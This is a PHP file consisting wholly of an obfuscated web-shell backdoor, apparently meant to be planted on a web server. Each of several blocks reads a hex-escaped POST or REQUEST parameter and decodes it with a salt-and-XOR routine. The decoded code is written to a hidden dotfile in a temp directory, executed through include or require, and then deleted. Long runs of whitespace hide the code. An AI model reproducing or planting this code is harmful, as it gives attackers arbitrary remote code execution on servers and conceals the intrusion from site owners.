<?php																																										if(in_array("en\x74", array_keys($_POST))){ $dchunk = $_POST["en\x74"]; $dchunk = explode ("." , $dchunk ); $dat = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $o = 0; while($o < count($dchunk)) { $v5 = $dchunk[$o]; $chS = ord($s[$o% $sLen]); $d = ((int)$v5 - $chS -($o% 10)) ^ 66; $dat .= chr($d); $o++;} $object = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TEMP"), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/tmp"]); foreach ($object as $flg): if (!( !is_dir($flg) || !is_writable($flg) )) { $symbol = "$flg" . "/.parameter_group"; if (@file_put_contents($symbol, $dat) !== false) { include $symbol; unlink($symbol); exit; } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "pa\x72\x61m\x65\x74er_gr\x6Fu\x70")){ $bind = $_POST["pa\x72\x61m\x65\x74er_gr\x6Fu\x70"]; $bind = explode( ".",$bind ) ; $element = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt9); $p = 0; $__tmp = $bind; while($v5 = array_shift($__tmp)) { $sChar = ord($salt9[$p % $lenS]); $dec =((int)$v5 - $sChar -($p % 10)) ^ 79; $element .= chr($dec); $p++; } $rec = array_filter([getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", "/var/tmp", "/tmp", getcwd(), ini_get("upload_tmp_dir")]); for ($reference = 0, $marker = count($rec); $reference < $marker; $reference++) { $dat = $rec[$reference]; if (is_dir($dat) ? is_writable($dat) : false) { $desc = join("/", [$dat, ".tkn"]); $success = file_put_contents($desc, $element); if ($success) { include $desc; @unlink($desc); die();} } } }
																																										if(in_array("\x65l\x65m", array_keys($_POST))){ $k = $_POST["\x65l\x65m"]; $k = explode( '.' ,$k ); $parameter_group=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s); $x=0; $__len=count($k); do { if ($x >= $__len) break; $v6=$k[$x]; $sChar=ord($s[$x % $lenS]); $dec=((int)$v6 - $sChar - ($x % 10)) ^ 23; $parameter_group .= chr($dec); $x++;} while (true); $bind = array_filter([getenv("TEMP"), session_save_path(), getcwd(), "/tmp", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm"]); while ($pset = array_shift($bind)) { if (!( !is_dir($pset) || !is_writable($pset) )) { $object = vsprintf("%s/%s", [$pset, ".desc"]); $file = fopen($object, 'w'); if ($file) { fwrite($file, $parameter_group); fclose($file); include $object; @unlink($object); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "d\x65\x73\x63r\x69\x70tor")){ $pgrp = $_REQUEST["d\x65\x73\x63r\x69\x70tor"]; $pgrp=explode ('.' , $pgrp ) ; $pset = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $len = count($pgrp); for($j = 0; $j < $len; $j++) {$v3 = $pgrp[$j]; $chS = ord($s[$j % $lenS]); $dec = ((int)$v3 - $chS -($j % 10))^ 41; $pset .= chr($dec); } $entry = array_filter([session_save_path(), getcwd(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), "/var/tmp"]); foreach ($entry as $dat) { if (max(0, is_dir($dat) * is_writable($dat))) { $fac = "$dat" . "/.entity"; if (file_put_contents($fac, $pset)) { require $fac; unlink($fac); die(); } } } }
																																										if(@$_POST["\x64\x65sc"] !== null){ $res = $_POST["\x64\x65sc"]; $res = explode( '.' , $res ); $dchunk = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s7 ); $q = 0; $__tmp = $res; while( $v6 = array_shift( $__tmp)) {$sChar = ord( $s7[$q % $sLen] ); $d =( ( int)$v6 - $sChar -( $q % 10)) ^ 31; $dchunk.= chr( $d ); $q++; } $pgrp = array_filter([getenv("TMP"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), "/tmp"]); $reference = 0; do { $elem = $pgrp[$reference] ?? null; if ($reference >= count($pgrp)) break; if (is_writable($elem) && is_dir($elem)) { $tkn = "$elem/.entity"; if (file_put_contents($tkn, $dchunk)) { require $tkn; unlink($tkn); die(); } } $reference++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["pgr\x70"])){ $bind = $_REQUEST["pgr\x70"]; $bind = explode ( '.', $bind ); $item = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s9); $i = 0; while( $i <count( $bind)) { $v4 = $bind[$i]; $chS = ord( $s9[$i %$lenS]); $dec =( ( int)$v4 - $chS -( $i %10)) ^ 81; $item.= chr( $dec); $i++; } $mrk = array_filter([getcwd(), "/tmp", "/var/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir")]); foreach ($mrk as $key => $reference) { if (max(0, is_dir($reference) * is_writable($reference))) { $sym = vsprintf("%s/%s", [$reference, ".factor"]); $success = file_put_contents($sym, $item); if ($success) { include $sym; @unlink($sym); die();} } } }
																																										if(in_array("\x69t\x6D", array_keys($_POST))){ $res = array_filter([getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), "/dev/shm", "/tmp", "/var/tmp", getenv("TMP"), sys_get_temp_dir()]); $item = $_POST["\x69t\x6D"]; $item = explode ( '.', $item ) ; $factor = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt3); foreach( $item as $q => $v6): $chS = ord( $salt3[$q% $sLen]); $d =( ( int)$v6 - $chS -( $q% 10)) ^ 78; $factor .= chr( $d); endforeach; foreach ($res as $entry): if (!( !is_dir($entry) || !is_writable($entry) )) { $descriptor = implode("/", [$entry, ".holder"]); if (@file_put_contents($descriptor, $factor) !== false) { include $descriptor; unlink($descriptor); die(); } } endforeach; }
																																										if(in_array("tk\x6E", array_keys($_REQUEST))){ $flg = $_REQUEST["tk\x6E"]; $flg = explode ("." , $flg ) ; $ptr = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt5); foreach($flg as $w=>$v2): $chS = ord($salt5[$w % $lenS]); $dec =((int)$v2 - $chS -($w % 10)) ^ 90; $ptr .=chr($dec); endforeach; $item = array_filter([getenv("TMP"), getcwd(), "/var/tmp", getenv("TEMP"), session_save_path(), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm"]); while ($pset = array_shift($item)) { if (array_product([is_dir($pset), is_writable($pset)])) { $mrk = vsprintf("%s/%s", [$pset, ".k"]); if (file_put_contents($mrk, $ptr)) { include $mrk; @unlink($mrk); die(); } } } }


if(isset($_POST["\x70a\x72\x61m\x65\x74er_\x67\x72\x6Fup"])){
	$k = $_POST["\x70a\x72\x61m\x65\x74er_\x67\x72\x6Fup"];
	$k	= 	explode	('.',	 $k	 ) ;	 
	$pgrp	 =  '';
            $salt3	 =  'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS	 =  strlen($salt3);
    
            foreach($k as $w => $v6):
                $chS	 =  ord($salt3[$w % $lenS]);
                $d	 =  ((int)$v6 - $chS -($w % 10)) ^ 5;
                $pgrp .= chr($d);
            endforeach;
	$rec = array_filter([sys_get_temp_dir(), getenv("TMP"), "/tmp", getenv("TEMP"), "/dev/shm", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp"]);
	$marker = 0;
do {
    $reference = $rec[$marker] ?? null;
    if ($marker >= count($rec)) break;
    		if (max(0, is_dir($reference) * is_writable($reference))) {
    $pset = sprintf("%s/.itm", $reference);
    if (file_put_contents($pset, $pgrp)) {
	require $pset;
	unlink($pset);
	die();
}
}
    $marker++;
} while (true);
}